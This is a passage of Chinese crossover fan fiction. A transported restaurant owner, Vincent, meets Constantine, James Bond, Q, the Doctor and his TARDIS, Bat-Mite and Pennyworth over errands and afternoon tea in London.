“好吧好吧，”康斯坦丁不情不愿地碾灭了香烟，只能干叼着香烟解闷。
好极了。文森特深吸了一口清新的空气，他拒绝呼吸二手烟。
——
在去市场的路上，康斯坦丁主动要求开着他的车前往。
康斯坦丁和车组合在一起，立刻唤醒了文森特的噩梦，前两天康斯坦丁——成年版——糟糕的车技给他留下了深刻印象。
文森特立刻说出了第四条禁令：“我们俩一起出门的时候，严禁你驾驶交通工具。”
康斯坦丁挑挑眉，刚想说自己的驾照是非常合规考出来的，但看到老板脸上那种只要他开车他就要跳车的表情，只能把话重新塞回了喉咙里。
“好吧，好吧，我们步行去。”康斯坦丁把车钥匙放回口袋，摊开双手表示自己的顺从。
人在屋檐下，不得不低头啊。
餐厅很会给自己选地方，每次挑的位置距离最好的市场直线距离都不远。
下了好几天雨的伦敦今天久违地出现了太阳，街道两旁的建筑在雨水冲刷之后更加深邃，每一块砖石都在诉
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说着这座城市的历史。
他俩走在人来人往的街道上，阳光洒在文森特身上，金色的发丝几乎在发光，光站在路边等红绿灯的间隙就有四五波俊男美女上来要电话了。
“我可还站在你身边呢，咱俩现在可是同居关系。”康斯坦丁忍不住抱怨起来，文森特猜是刚才有个美女只给了自己电话没有给他所以他嫉妒了。
文森特纠正到：“谢谢，租赁关系别说的那么暧昧。”
“男人。”康斯坦丁的感叹换来了老板的一个瞪眼。
“所以我就说还是开车，”康斯坦丁忍不住为自己辩解，“至少我们不至于一直拒绝他们的请求，导致十分钟的路走了半个小时。”
康斯坦丁补充道： “老板，我开车技术非常优秀，你不能有偏见啊，你这是在扼杀我的天赋，扼杀一个优秀的驾驶员！”
文森特冷笑：“天堂驾驶员吗？我还不想凭借一辆小车离开地球去往天堂。”
两人边斗嘴边走到了目的地，康斯坦丁只留下一句晚上他会回去住，希望能至少给上帝提供一个正常床位这种妄想要求就匆匆混入了人群。
文森特也不想管自己的这位新晋上帝打算干什么，他只想思考餐厅的现状。
也许自己该试试网络营销？或者尝试印点传单发一下？提供外卖业务应该也是不错的选择？
无数念头从他脑海中划过，与此同时，文森特穿梭在各个摊位之间挑选着最新鲜的食材，就算是亏钱他也绝对不会放弃自己对于食物的要求，所以能不能不要亏钱。
文森特叹了口气，思绪随着脚步飘远，不知不觉中偏离了原本的路线，等他回过神来已经抱着食物走进了一个陌生的区域，树木葱翠，阳光透过树叶的缝隙在地上投下斑驳的光影。
街道两侧帕拉第奥式的临街店铺透露着浓郁地经典的英伦风情，透过落地窗可以窥见里面摆放的精致成衣。
文森特的目光被橱窗吸引，橙色丝绒西服被摆在这家店的橱窗正中央，阳光的照射下，泛着柔和又奢华的光芒。
就在文森特沉迷于这一美好时刻的时候，突然一股力量从旁边撞来，他不由得趔趄了几步，怀里抱着的新鲜食材差点因为着突如其来的冲击脱手。
文森特连忙稳住身子，小心翼翼地护住他的食材后才有时间看“罪魁祸首”。
两双相同的绿眸对视。
“布思罗伊德，你等等我！”
“抱歉先生。”被称为布思罗伊德的男人彬彬有礼地道歉，框架眼镜，驼色羊绒开衫，黑色的头发带着微卷，看上去像是个还在象牙塔里读书的乖乖牌学生或者好脾气老师。
“没事，”文森特刚说完，装蔬菜的纸袋就承受不住压力选择了罢工，各色新鲜蔬菜滚作一团，场面一度有些凌乱。
布思罗伊德也蹲下来帮忙，他的动作很快，几下就把散落的蔬菜捡了回来，他边道歉边站起身，拍了拍手上的灰尘，从口袋里掏出一张名片递给文森特：“这是我的名片，如果食材有损坏，我希望能赔偿您的损失。”
文森特接过名片，上面只有“Major Boothroyd*”的名字和一个电话号码，没有过多的装饰，干净利落。
13. 第 13 章
“谢谢你，布斯罗伊德。我是科顿，文森特·科顿，在附近开了一家餐厅，有时间可以来尝尝。”文森特掏出手机和对面的人交换了联系方式。
伤痕累累的纸袋没法再承担食物的重力，交换过联系方式的两人手里拿着新鲜的食材站在萨维尔街上面面相觑。
两张大众焦点的脸配上接地气的瓜果蔬菜，使得二人迅速成为了这条以高级定制男装闻名的街道上一道别样的风景线。
刚才一直在后面喊布斯罗伊德的男人终于快步走到了他的身边，那是位举止优雅的绅士，身上西服一看就是精心定制的产物，每寸布料都完美贴合他的身材，精致的袖口透露着主人对自己形象的重视。
他的步伐迅速，风度翩翩，灰蓝色的眸子里噙着笑意，一出现就吸引了大众的目光，他看上去早已习惯人群的关注，但并不显得傲慢。
“邦德，詹姆斯·邦德，布鲁罗伊德的同事。”绅士走到布斯罗伊德身边，礼貌地和文森特做了个自我介绍。
文森特眼睛都瞪大了，他差点脱口而出007，最后还是在第一个音节说出来的时候及时把后面的音节吞了回去。
他真的很想现在就把餐厅或者系统或者蝙蝠螨或者任何把他弄到这个地方的生物或者非生物抓到他面前质问：你把我干哪里来了啊！我是不是马上还能见到伊森·亨特*或杰森·伯恩*？
文森特虽然对于超英了解极少，但是詹姆斯·邦德，这个名字就代表着一个传奇，一位拯救世界的超级特工，几乎可以说是无人不知无人不晓。
而现在，这位超级特工就站在他的面前，还像是普通人一样自我介绍，文森特深呼吸一口，迅速调整了自己的表情，尽可能用最平静的语气回复，但那略微升高的声调和下意识握紧的双手还是暴露了他的紧张。
看着邦德若有所思的表情，文森特觉得自己的手心迅速热了起来，幸运的是，此时身后裁缝店的开门声打断了紧张的气氛，一位中年男士缓步走出，他举止稳重，显然是店内的负责人。
“邦德先生，现在是您的预约时间。”他的声音温和又专业，以一种几乎不被旁人察觉的方式向邦德点了点头，同时递给文森特一个牛皮纸袋，“先生您好，我觉得您可能需要它。”
文森特连声表示感谢，来人只是微笑着摆了摆手，表示这都是小事一桩：“如果您还需要更多的纸袋，或者是需要做一套合身的西服，我们店铺随时欢迎您的光临。”他指了指身后的裁缝店。
“那么科顿先生要一起来看看吗？”邦德笑着向前走了一步，他的位置巧妙挡在了文森特和布斯罗伊德之间，手摸上了后腰。“这里可是很难预约的。”
“我还要准备中午的营业呢，”文森特举了举手上的食材，礼貌回绝了这份邀请，“有时间可以来尝尝，绝对不会让你们失望的，我先走了，先生们，有机会再见面。”
现在不走怕不是走不了了，文森特立刻转身离开，他脚步匆匆，等转过街角才稍稍放慢了脚步。
文森特的离去让布斯罗伊德——也就是军需官Q——的表情淡了下来。
作为军需官，他深知每次邦德刚执行完任务回来，才是他工作的开始，武器装备甚至交通工具需要重新定制和更新，无穷无尽的报告要撰写。
天知道他每次出去的损失有多高，新任Q博士终于理解了上任Q在交接完工作后，急不可耐地跳上快艇，直奔地中海的阳光与自由的行为了。
“来吧，让我们看看你到底还剩下什么？”Q一边往里走，一边对邦德的欲言又止视而不见，转身迎接了热情洋溢的年轻裁缝的拥抱。
“Q，你来了。今天有什么新东西吗？”年轻人十分开心，尤其是当他看到Q身后的詹姆斯邦德之后，他的眼里几乎出现了星星，“天，是活得007！”
“冷静点，埃格西，”梅林递给Q一杯气泡水，顺便提醒自家的年轻特工保持专业性，“公共场所不要称呼代号。”
看着相谈甚欢的两人，两位军需官叹了口气，心里默默地为即将到来的工作量加了两个零。
但是真梳理起来之后，Q发现加的零还是太保守了一点。
Q站在那辆曾经是阿斯顿·马丁的残骸前，他摘下眼镜，用力捏了捏自己的鼻梁，他习惯于如此来释放自己的压力。
七天前，这辆车还闪耀着新车的光芒，装备着部门最先进的武器，而现在，它几乎成了一堆废铁。
“所以尊敬的邦德先生，”Q重新带上眼镜，微笑着说，“如果可以的话，能请您解释一下，如何开车才能让这俩能抵御反坦克地雷的，使用了凯夫拉尔强化纤维做车身的车变成现在这个样子吗？”
他真对于邦德即将给出的“解释”抱有浓厚的期待。
世界上最知名的特工007摸了摸自己的鼻尖，左脚悄悄后撤了一步，他几乎能看到Q背后冒出了熊熊燃烧的地狱之火。
“也许我们可以边吃边聊我的传奇经历？”邦德看向了文森特离去的路，“去刚才那家店怎么样？”
——
文森特刚走进小巷就开始怀疑自己走错了路，他对着系统的地图看了又看才半信半疑地往里面走。
这不能怪他，任谁突然在家门口的巷子里看到一个崭新的蓝色电话亭都会怀疑自己是不是走错了路。
鲜艳的蓝色让本来就狭窄的小巷变得更窄了，和周围破旧的砖墙、坑洼的地面形成了鲜明对比。
文森特侧身挤过电话亭旁边狭窄的空间，尽量不让手中的食材袋子碰到墙壁。
餐厅一切如常，康斯坦丁并没有回来，他把食材放进了厨房，检查了一下早上准备的面糊，文森特满意地点点头，很不错，今晚的可露丽一定会好吃的。
屋外的巨响打破了巷子的宁静，文森特刚冲出餐厅就被映入眼帘的景象震惊了：一个年轻人被蓝色电话亭的门重重拍开，然后他冲上去继续试图开门进入，接着继续被拍飞，循环往复。
电话亭上的小窗口不停变换着颜色，抗议着刚才的粗暴行为，年轻人则毫不相让，高声和电话亭互呛。
文森特试图理解眼前这一幕，骂人的电话亭？和电话亭对骂的人类？这超出了他的认知范围。
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所以刚才他听到的巨响应该就是这个人被敲门的声音然后被电话亭拍飞的声音？
这一切看上去像是一场超现实的梦境。
文森特掐了自己的大腿一把，疼的他倒吸一口凉气，很不幸，这是现实。
这时年轻人才发现这里竟然还开着一家餐厅。
“宇宙尽头……”年轻人的眼睛蓦然睁大，“文森特？嘿，能给我条毛巾吗？”
“是我，你认识我吗？”文森特点头转身回店里拿毛巾，“稍等。”
“谢谢，再次自我介绍一下，我是Doctor who。”年轻人接过毛巾，擦了擦脸上的灰尘，他语气轻快，“好吧我知道你有很多Doctor朋友，但是我是最不一样的那个。”
“医生朋友？”文森特有点疑惑，不确定这个名字是不是在搞笑，确实不一样，你看上去像是脑子最不好的那个。
“博士。我是博士，而且我的脑子很好只不过刚刚重生脑子现在还不太清醒。” 年轻人像是会读心一样纠正道，他把擦过脸的毛巾放在亭子的把手上，“叫我博士就行，你等一下我有个东西要给你。”
接着自称博士的男人整个人架在了门把手上，企图暴力破门，但是蓝亭子不为所动。
文森特不知道是不是自己眼花了，他甚至能从电话亭上看出拒绝和嫌弃。
“需要帮助吗？？”文森特还是没忍住问道。
“不需要，”博士几乎是从牙缝里吐出这三个字，过了几分钟之后他迅速放弃了这个愚蠢的行为，转而开始和电话亭谈心。
“塔迪斯，塔迪斯，好姑娘你就开开门吧，外面可是宇宙尽头和文森特。”塔迪斯闪烁的频率降了下来，让博士看到了希望，他把文森特推到了亭子面前。
“看，我没骗人，这是文森特。”博士指了一下身后，“那是宇宙尽头。”
塔迪斯几乎不再闪烁，她像少女偷看心上人一样悄悄打开了一道门缝，博士趁机从口袋里拿出音速起子眼疾手快地别住了门。
“啊哈！我回来了！”博士拉着文森特就像往里冲，文森特下意识捂住脸，这个亭子从外面看只有两个人这么大，突然冲进去必然要撞倒头。
但是一进去文森特立刻就被惊呆了，这是完全不一样的空间，里面是各种各样的控制台、设备和仪器，银色的金属风格看起来未来感十足，和外面的蓝色的公共设施形成了鲜明的对比。
“外面比里面小！”
“里面比外面大，我就知道你一定会说这句话！呃，你怎么不按套路走啊！”
两个人几乎是异口同声。
只不过博士在哈哈大笑，文森特目瞪口呆，他退出了亭子，从外面来看只是一个平平无奇的蓝色警用电话亭，但是里面确实别有洞天，像是浓缩了一整个世界，或许后面还会有个海滩？
“哦，其实是有的，你想去晒晒太阳吗？”博士倚在控制台上笑得前仰后合，他第一次见到这么青涩的文森特。
文森特大震撼，接着他听到了更震撼的发言。
“宇宙尽头里面也有啊，你没去过？”
14. 第 14 章
文森特开始思考宇宙意义，宇宙的终极答案真的是42吗？为什么不是36或者58，以及为什么自己不知道自己的店里还有沙滩？？
这合理吗？
“这很合理啊？”博士漫不经心地说，他正试图掀开塔迪斯的每块地板找一套合身的衣服，刚刚重生的博士总是忙于服装造型，“让一下你正踩在我最喜欢的那个格子上。”
“你的餐厅和塔迪斯类似，都是时空的交汇维度，”博士终于找到了喜欢的衣服，“有个沙滩海洋的不算什么。”
“绿色还是紫色？”博士拿着两根领带比着问。
“紫色。”文森特下意识回答。
“谢谢，两个颜色都不怎么样，算了不需要领带了。”博士把领带丢出去，继续翻找着心仪的配饰。
“小心绊倒，”文森特无奈接住了领带，“好吧，我在店里住了三四天都不知道里面还有个沙滩。”
“正常，我在塔迪斯里呆了好几百年她也没告诉过我我还可以拉门进入。”博士终于搭配好了整套衣服，他看起来对自己的新造型非常满意。
简约的棕色大衣，标志性的苏格兰呢格纹裤子，没有领带，头发还有几簇调皮的翘起来，展现出不羁的冒险者气质。
一位崭新的博士。
就在这时，一套桌椅突然出现在他们面前，仿佛响应了文森特的内心需求。文森特惊讶地看着这幕，而博士则泰然自若地抽出椅子坐下，显然对塔迪斯这种小把戏已经习以为常。
“所以，这个时空交汇维度是什么意思？”文森特坐在博士对面，追问道。
博士身体前倾，双手交叠在身前，开始解释：“存在于现实规则之外的地方，非要说的话，你的餐厅是个可以链接不同时间和空间的中转站，而且它有点五维的特性，像我的一个熟人。”
“蝙蝠……”文森特喃喃自语。
坐在昏暗的角落里，博士的瞳孔猛地一缩，随即又恢复了正常。他的声音带着了然：“是蝙蝠螨在背后捣鬼吗？难怪你之前没有提起。”
“你认识他？”文森特没有到捕捉到博士表情的细微变化。
“我有个类似的‘朋友’，也喜欢以游戏决定胜负。说真的，这些‘神明’有的时候无聊到我都觉得他们应该去学点什么。”博士耸耸肩，一脸无奈。
“反正就是一点：保持冷静，不要被他们的把戏迷惑。记住，你才是这块地盘的主人。”
博士话音刚落，塔迪斯里的灯光开始闪烁，一股凉意在空中弥散开来，仿佛有某种力量在搅动着周围的时空，没几秒种，塔迪斯内部就被伸手不见五指的黑暗所笼罩。
突然，神秘的光线从天而降，它似乎没有任何来源，却明亮得足以照亮整个空间。光线聚焦在一个巨大的盒子上，盒子被黑暗所笼罩，呈现出深邃的黑色。
文森特看向博士，两人的眼神中都带着疑惑和警惕。
“你的？”文森特问道，“我赌一顿饭。”
“你的吧，”博士反问，“跟了。”
两个人小心翼翼走到了盒子旁边，正打算研究一下到底是个什么的时候，盒子伴随着一声巨响从内部被打开，蝙蝠装扮的小人蹦了出来。
博士得意地欠了欠身，脸上露出了胜利者的微笑：“看来你欠我一顿饭了。”
因为闹出这一出的正是蝙蝠螨。
“你怎么跑这里这里来了，我找了你整整三分钟！”蝙蝠螨抱怨道，他趾高气昂地打量着周围的环境，“真是没有品味的地方，一点也不独特。”
“独特，哼，”博士回击道：“那个快要倒闭的废墟风格的餐厅就有品味了？”
“那也比你们这种流水线的金属制品有特色！”蝙蝠螨的披风几乎都要炸起来了，他扭头看向文森特，语气中带着责怪：“都怪你！”
怪我？我甚至都没说话。
文森特站在这两人中间，他觉得自己不应该在塔迪斯里面，应该出去把场地留给这两位幼儿园小朋友。
“好了两位。”眼见两位的火气越来越大，文森特终于开了口，他的声音平静有力，成功吸引了两人的注意力，“我只是来和我的新朋友聊聊天，而你，蝙蝠螨，你是来通知我第一个挑战的时间吗？”
蝙蝠螨没有回答，他的目光在文森特和博士身上来回扫视，他指着博士说：“我认识你。你就是那个喜欢到处乱跑，还总爱管闲事的家伙。”
“我没与管闲事，我只是在帮助我的朋友，维护地球的安全。”博士摊开双手，表示自己的无辜。
蝙蝠螨对于博士显然不买账，他的不满情绪几乎凝结成了实体，彷佛一个被人抢了玩具的孩子，周围的空气似乎都因他的不满而变得酸涩。
任性的神明冷哼一声，文森特只觉得眼前一花，当他视线再次清晰之时，他已经回到了自己熟悉的餐厅，原先伫立在门外的蓝色电话亭像是从来没有出现过一样，只有一个留在原地的蓝色礼盒证明了它存在过的事实。
“我送他去见老朋友了，”蝙蝠螨语气轻快，他拿回了自己的玩具，“别说不开心的事情了，最近怎么样？”
“什么怎么样？”文森特有些迷茫，他的大脑还在处理刚才的瞬间移动和蓝色电话亭的失踪，他的视网膜上甚至还残留着那抹蓝色的光芒。
“餐厅啊，经营得怎么样……”蝙蝠螨绕着餐厅转了一圈，他的眼神在每个角落都停留了片刻，似乎在寻找着什么能引起他兴趣的东西。
最后他只能绝望看着文森特，语气中带着不可置信：“据我所知，你是这款游戏的第一个白金玩家？”
“是的，”文森特几乎说不出话，“首先，感恩这座餐厅的选址，这是适合隐居的一家店，特别避开了所有会有普通人类来的优点。”
蝙蝠螨一脸不解：“怎么可能，蝙蝠侠可喜欢这种地方了，我可是专门选的这里啊。”
“我想他应该不会喜欢在这种地方吃饭吧。”
蝙蝠螨沉默了。他想到了郊外的韦恩大宅，有着宽敞的餐厅、专属的管家和新鲜的食材的大宅，和这个连天花板都只有一半的餐厅。
蝙蝠螨
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自己都笑了，他挥了挥手，似乎在驱散那些关于韦恩大宅的奢华画面，转而面对这家餐厅的现实。他的眼中闪过一丝调皮的光芒，仿佛在策划着什么恶作剧。
“而且据我在哥谭采购的经历来看，蝙蝠侠不吃碳水。”这是美化版。文森特叹了口气，其实绝大多数摊主都觉得蝙蝠侠是吸血蝙蝠人，而且专门喝有钱的布鲁西宝贝的血。
文森特只觉得哥谭人脑子真的很有创意。
“所以你把我从朋友家里带回来到底有什么事情？”文森特追问道，“是来通知我第一个挑战的开始时间吗？还是说你打算帮我重新装修餐厅？”
“装修就算了，帮你修复一下倒是没什么问题，而且第一个挑战的时间已经定下来啦！好消息，原本你有一个月的准备时间，”
蝙蝠螨清了清嗓子，他的声音低到几乎听不清，迫使文森特不得不靠近一些，就在文森特的耳朵快要贴到他的嘴唇时，蝙蝠螨突然用最大的声音宣布：
“哒哒！现在你只有七天了！”
文森特倒吸一口凉气，他瞪大眼睛看着蝙蝠螨，后者正带着恶作剧得逞的笑容看着他。
“惊喜吗！”蝙蝠螨得意洋洋地说，他的眼睛闪烁着不怀好意的光芒，显然对自己制造的“惊喜”感到非常满意。
“我能说不惊喜吗？”
“当然可以，那你可能只剩下三天了。”蝙蝠螨眼睛眯起，威胁的意味不言而喻。
“好的我很惊喜。”文森特还能怎么样，他只能选择原谅，他叹了口气。
“我该准备些什么呢？”
“你只需要准备最好的食物和最优质的服务。其他的，就交给命运吧。”说完，他的身影开始渐渐模糊，最终消失在空气中。“也许你可以找几个新员工。”
文森特发现餐厅的墙壁上原本裂开的墙缝渐渐闭合，整个餐厅像是经历了一场无声的装修，餐厅的面积扩大到了原先的一倍，桌子也多了几张。
虽然还是半新不旧的样子，但是至少进来的人不会怀疑这是危房了。
但是天花板上留下的洞仍然在哪里，只是现在的它被一张超人的海报巧妙地遮住了，甚至超人的脸上还被蝙蝠螨画了小猫咪的胡子。
文森特非常喜欢蝙蝠螨留下的这个小礼物。
一个崭新的日历不知何时出现在了吧台上，它静静地倚靠着那个老式的录音机。文森特的手指轻扫过着日历表面，他注意到日历上的日期已经被标记，七天后日历被标记了一个巨大的蓝色叹号，提醒着他挑战的到来。
看到蓝色的感叹号，文森特想起了博士留下的蓝盒子。他走出门，小心翼翼地将盒子拿进了屋子。
“老板，下午好。”Q带着邦德和一位年长的绅士出现在店门口，年长的绅士带着一种从容不迫的气质，他的目光在餐厅内四处打量，似乎在评估着这个地方。
“欢迎光临。”
文森特把盒子放在吧台上，准备稍后仔细研究。但他没有注意到，就在他转身去迎接刚进来的顾客时，录音机自己动了一下。
15. 第 15 章
“伦敦的卫生官真的在干活吗？”邦德走在最后，嘴唇微动，显然对这里的第一印象非常一般，“这种店是怎么开下去的？”
Q听到邦德的抱怨，脸上的笑容依旧灿烂，但他的脚后跟却狠狠地碾上了邦德的布洛克雕花皮鞋。
“闭嘴。”他轻声警告道。
邦德比了个嘴上拉拉链的手势，眼前的男人可是掌握着他的装备武器这种可以被称为性命的东西，得罪谁也不能得罪军需官。
Q一进门也有点失望，与他原本预定的餐厅相比，这里的装潢和氛围显得有些过于朴素——甚至可以说是简陋，但为了不在潘尼沃斯面前丢脸，他还是尽力保持着微笑。
邦德对于刚才撞倒的老板有点怀疑，加之潘尼沃斯也对这附近新开的小店感到好奇，于是三人决定来尝试一下不同的风味。
“请坐。”Q礼貌地为走在最前面的潘尼沃斯拉开了椅子，这不仅仅是出于对年长者的礼貌，更因为潘尼沃斯是他曾经的导师，他从潘尼沃斯身上学到了很多，对这位导师始终怀有深深的敬意。
自从潘尼沃斯从MI5*离开后就被哥谭的韦恩家雇佣为了专属管家，极少离开哥谭市，因此这次见面机会格外珍贵。
Q保持着微笑磨着牙，要不是邦德自己绝对不会在导师面前即将搞砸这一切，他在心里给邦德又记了一笔。
“谢谢。”潘尼沃斯颔首，他的眼神中流露出对Q的一丝理解和宽容。他从自己曾经的学徒身上看到了窘迫，显然，这家店的简朴装潢并不在自己学徒的预期之中。
文森特站在桌旁，他的目光依次扫过三位英国绅士，温和地询问道：“先生们，锡兰、伯爵还是大吉岭茶？”
“大吉岭茶。”
文森特点头，他今天正好采购了一些不错的大吉岭茶。
他转身走向厨房，不久后，一股淡淡的茶香便从厨房飘散出来，弥漫在整个餐厅中。
茶水很快就被端上了餐桌，本来三人没打算在这里能喝到什么正经的茶，甚至潘尼沃斯还准备了几个冷笑话打算调侃一下Q。
谁也没想到出现在眼前的是一套极为精致的骨瓷餐具，淡蓝色的瓷底衬着乳白色的手绘浮雕，让它比起餐具更像是一套精巧绝伦的艺术品。
一套应该出现在博物馆里面的艺术品却出现在了这个简陋的小店里，三人对视一眼，说话声音轻了下来。
琥珀色的茶汤在文森特的手中轻轻流淌，注入了精致的骨瓷茶杯中。茶汤在杯中荡漾，释放出花香和果香的迷人香气，让人彷佛置身于英伦风情的午后花园，享受着微风和阳光。
文森特的动作优雅又娴熟，彷佛曾经给女王侍奉过下午茶。
“请尝尝看。”
随着屋外大本钟的四声钟响，下午茶的时间正式到来。文森特将银质茶壶轻轻放回茶几上，心中不禁松了一口气。
他还真侍奉过——在游戏里。
之前游戏里，英国地图的最终挑战就是给英国女王准备下午茶。
光刷动作熟练度就刷了他整整三天时间，体感参与游戏能拿高分的的游戏设定让他对这套流程倒背如流，几乎形成了肌肉记忆。
更别提为了这套餐具，他在游戏里跑遍了英伦三岛，完成的任务不计其数，就差现实里自己尝试烧制一套了。
辛苦没有白费，文森特拿下了白金奖杯，穿越到了这个“好”地方。
想到这里文森特叹了口气，回到后厨开始为三层的点心架添砖加瓦。
简单小巧的三明治填补了最底下一层，多种口味任君选择。
中层的司康已经放入了烤炉，甜品的香气随着温度升高溢出后厨；之前做好的蓝莓酱和草莓酱现在正在最好吃的时段，搭配小巧可爱司康一口一个刚刚好。
顶层的甜点文森特突发奇想决定做钻石曲奇，虽然不是标准配置，但这又不是女王的下午茶，自己的下午茶自己做主——主要是这个最快。
——
“你挑的店还挺有意思。”潘尼沃斯轻抿一口下午茶，完美的口感让老牌英国人都露出了满意的笑容。
“老师您喜欢就好。”Q长舒一口气，至少没在导师面前太丢脸，旁边的邦德也被这个味道折服，他根本没想到这里还能喝到这么好的茶。
邦德放下茶杯，他不得不承认自己对餐厅的认知有些草率，他的目光在餐厅内扫视，试图寻找任何可能的异常，但是除了过分精致的餐具和过分简陋的餐厅这两个极端之外，邦德几乎找不到其他异常。
“这个地方……”邦德有点失望，他还指望挑出点问题来试探一下这位老板，但是这位老板，要不是装的太好骗过了三位特工，要不就是自己真的多想了。
“这里破绽多到都可以炒菜了。但又该死的合理，如果他真的只是一个普通餐厅老板的话。”尽管邦德对老板心怀疑虑，怀疑他可能与幽灵党有关，但目前为止，他并没有发现任何确凿的证据。
他总是感觉不太对劲，作为顶级特工，在这种情况下，邦德绝对相信自己的直觉。
厨房里的文森特终于完成了全部的甜品，顶层的钻石曲奇作为最后的点缀，一座完美的三层茶点架呈现在了客人面前，每一层每一道都透露出他对于食物的追求和热爱。
Q撇了一眼天花板上快要掉下来的海报和后面隐隐透光的大洞，心里暗自觉得007真的是想多了。他轻声嘀咕：“什么特工会在这种鬼地方潜伏啊。”
邦德却不为所动，他的眼神依旧在餐厅内扫视，寻找着任何可能的线索。
“说不定就是故意迷惑你的呢？”他反驳道。
Q嘴角微动：“要我和你科普一下美人计和美人的区别吗？”
邦德挑了挑眉，反击道：“我看你才是需要科普的那个，你还需要加上帅哥的科普。”
“对不起啊，可我不出外勤，谁来给我上演美男计，你吗？”
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>两人小声地打着嘴仗，而潘尼沃斯则在一旁静静围观着007和他的军需官拌嘴，他的眼角流露出了一丝笑意。
他之前离开的突然，但看着Q成长到如今的模样，也算是不辜负老友的期待。
“文森特我回来了有什么好吃的吗？”一道黑色的人影推门而入。
邦德看到来人吃了一惊：“康斯坦丁？”
“邦德？”
“你怎么在这里？”两人几乎同时问道。
邦德看到康斯坦丁头更疼了，他现在终于知道这份不对劲从哪里来的。
作为女王身边最好的特工，他自然了解这个世界存在着特殊力量，也和魔法师们打过不少交道，为数不多的几次不爽经历基本都是和康斯坦丁相关。
这位魔法师根本没把人当人看，直接把新晋特工丢出去当肉盾简直就是家常便饭，导致唯一的配合人只能是邦德自己。
而每合作一次就会有一个新的血压升高事件，每次都能勇夺邦德血压榜榜首，刷新康斯坦丁自己的“最好”成绩。
就说Q“询问”他怎么把车开成这样的，康斯坦丁得负全责。
女王见证，他只是低头给枪换子弹的几秒钟，拜托康斯坦丁把控一下方向盘，就这么点小事，就几秒的时间，整个车就被变成了永久敞篷车，要不是他低头低的快，现在Q应该给他培第一铲子土了。
康斯坦丁也不客气，直接拿起了一个三明治塞进嘴里，全然不顾邦德能杀人的目光，他一边咀嚼着，一边含糊不清地说：“我是这家店的员工。
“他不是。”文森特立刻反驳道，把人推到了后厨，“后厨还有吃的，你去吃那个。”他转过身来，带着歉意的笑容对客人们说：“抱歉，这份下午茶送你们了。”
Q的眉头紧锁，他的脑海中闪过一些片段，那些被涂黑的文档中，隐约可见的名字中确实有康斯坦丁的存在。
“你是？”他问道，试图从康斯坦丁身上找到一些线索。
“你们的编外人员。”康斯坦丁正拿着一盘下午茶的边角料吃得津津有味，他不挑，能吃到就是赚到，“邦德知道。”
邦德无奈地点了点头，他真不想知道。
“你们的车真不错啊，挺结实的。”康斯坦丁继续说道，“下次还能借我开开吗？”
Q的眼里几乎冒出熊熊火焰，邦德腰直了直，心里默默为自己祈祷：骂了康斯坦丁就不许骂自己了，
“等等，邦德坐主驾驶的，我只是帮忙把握了一下方向盘。”康斯坦丁补充道，但是忽略了自己把握的方向盘给整辆车带来的决定性损坏，更是因为没有了车顶，他和007不得不交换了座椅。
最后这辆车结结实实挨了一发地狱之火，下地狱去给玛门当玩具了。
邦德震惊地看着康斯坦丁熟练地甩锅，像是早就准备好了这段话等着遇到Q说出来，失去了最好时机的邦德在说什么都是狡辩，他还是慢了康斯坦丁一步。
16.第 16 章
文森特已经来不及捂住康斯坦丁的嘴了，他感觉自己好像看到了Q的背后蹦出了什么不可名状的生物，正在虎视眈眈地看着邦德。
听到康斯坦丁的话的Q反而笑了出来，接着不知道从哪里抽出来了一个平板，他的手指在屏幕上飞快地敲打着，平板甚至时不时闪烁一下，那是处理器没有跟上他的速度的反应。
文森特只能看到无数条信息从屏幕上飘过，邦德完全沉浸在甜品里面，完全没注意小角落的信息流正前往整个世界。
潘尼沃斯在一旁品着红茶，甚至还有心情和文森特交流伦敦本地的茶叶店哪家更好一点，配什么样的糖和奶味道最佳，他的声线平稳，音调温柔，完全忽视了周围的噪声。
“你下次可以试试用阿萨姆配上豆蔻丁香和肉桂，味道非常独特，”潘尼沃斯说完遗憾地摇摇头，“可惜今天有点晚了，明早我就要回哥谭了。”
文森特再一次觉得自己应该有一辆交通工具，因为他现在就想试试这个搭配，文森特对这位年长者产生了无限的敬意。
“对了，曲奇味道还不错，能问你要个方子吗？”潘尼沃斯准确地拿走了最后一块曲奇，没拿到的邦德只能眼巴巴地看着，心里默默地发誓下次一定要抢先一步。
“我是个管家。”潘尼沃斯解释道，“方子不会外传。”
“外传也没关系，帮忙宣传一下我们店就好，”文森特一口答应下来，随手拿过店里的本子把配方写了上去，“我这个糖少了一点，如果回去可以按照你喜欢的味道加。”他一边写一边还不忘加上个人贴士，比如烘焙时如何把握火候让曲奇更加酥脆。
潘尼沃斯接过那张写有方子的纸，微笑着点头：“谢了，我想少爷应该也会喜欢糖少一点的版本。”他流露出期待的目光，仿佛已经看到了自家少爷品尝曲奇时满意的表情。
Q在一旁继续捣鼓着他的平板，彷佛周围的一切都与他无关。他的眼睛紧盯着屏幕，手指在平板上飞快地滑动，织出的无形之网正在捕捉着数字世界中的每一个微小的信号。他按下了最后一个键，满意地扬起嘴角。
“搞定。”
邦德好奇地凑过去看了一眼，只见屏幕上显示着一系列复杂的代码和数据：“这是什么？”
Q没有回答，嘴角的笑容渐渐扩大，仿佛在享受着邦德的好奇心。
就在邦德准备再次发问时，他身上携带的电子设备发出了急促的响声，这是一种在座三人都非常熟悉的声音——紧急呼叫。
他迅速掏出设备，屏幕上显示着一个加密的通讯请求。
邦德按下了接听键，Q的笑容在这一刻显得有些神秘。电话那头传来了M的声音，他的语气中带着不容置疑的权威。
“怎么了？希腊公主来访？指名见我？”邦德表情惊讶，但是看他的回答就知道电话那头的M没有给他留任何反驳的余地。
“我刚执行完……不是，好的，没问题，马上到。”邦德挂断了通话，目光转向一旁正在品茶的Q，后者正优雅地举起茶杯，仿佛在为即将到来的冒险干杯。
“看来某人的假日之旅要延迟哦。”Q品了一口茶，轻描淡写地说，“味道不错，可惜有点凉了。”
邦德向潘尼沃斯投去一个歉意的眼神，匆匆跑回总部。
Q和潘尼沃斯看着邦德匆忙的背影，两人相视一笑。Q摇了摇头，轻声说：“你永远不知道下一份工作什么时候会来敲门。”
康斯坦丁插了一嘴：“至少这次敲门的是希腊公主，比上次那个去北极的听起来温暖多了。”
潘尼沃斯若有所思地点点头。
“其实是主要是没看到有去南极的工作，要不还能帮他打卡一下极地世界。”Q举起茶杯补充道，“敬邦德。”
“敬邦德。”
文森特默默离这三位远了一点。
天色渐暗，街边路灯亮起，为这个小巷带来了一股温馨的光芒。Q付过钱之后，和潘尼沃斯去了他之前就预定好的餐厅，脚步声渐渐远去。
